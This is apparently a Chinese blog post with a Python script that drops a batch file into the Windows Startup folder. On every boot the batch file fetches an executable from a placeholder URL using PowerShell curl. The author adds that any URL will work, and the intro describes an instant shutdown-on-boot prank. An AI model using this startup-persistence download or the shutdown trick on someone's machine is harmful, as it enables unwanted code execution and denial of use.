源于我写Python脚本时的一个小想法,使用Python写一个自动创建bat文件的脚本,脚本的内容是shutdown -s -t 1
,实现开机即关机
Python实现创建bat文件并移动到开机启动文件夹
import os
'''自动下载原神'''
# 定义要创建的.bat 文件的内容
bat_content = '''
set curpath=%~dp0
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址)
powershell curl -o "%exename%" "%downurl%"
''' # 相关的快点就该数字(秒)
# 获取 shell:startup 目录的路径
startup_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
# 指定要创建的.bat 文件的路径和文件名
bat_file_path = os.path.join(startup_path, 'genshin.bat')
# 创建并写入内容到.bat 文件
with open(bat_file_path, "w") as file:
file.write(bat_content)
这段代码的功能是创建一个 .bat
批处理文件,并将其放置在系统的启动文件夹中,以实现自动下载原神的操作。
原理如下:
-
定义了一个字符串
bat_content
,其中包含了一系列的批处理命令。set curpath=%~dp0
:获取当前批处理文件所在的目录路径。cd /d %curpath%
:切换到当前目录。set exename=yuanshen.exe
:定义要下载的文件名称。set downurl=(替换为下载地址)
:定义下载链接。powershell curl -o "%exename%" "%downurl%"
:使用powershell
中的curl
命令从指定的链接下载文件并保存为指定的文件名。
-
通过
os.getenv('APPDATA')
获取用户的应用数据目录,然后逐步构建出startup_path
,即系统的启动文件夹路径。 -
使用
open
函数以写入模式创建并打开位于启动文件夹中的genshin.bat
文件。 -
使用
file.write
方法将之前定义的批处理命令内容写入到创建的.bat
文件中。
这样,当系统启动时,会自动执行这个批处理文件,尝试从指定的链接下载名为 yuanshen.exe
的文件。
bat代码及运行效果
set curpath=%~dp0
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址) //这里的URL可以换成其它的,就可以下载任意文件
powershell curl -o "%exename%" "%downurl%"
运行效果:
下载中
下载中
下载完毕
就不打开给大伙演示了,顺便一提由于是在启动文件夹下,这个原神的安装程序也会开机即启动,可以说是非常有节目效果了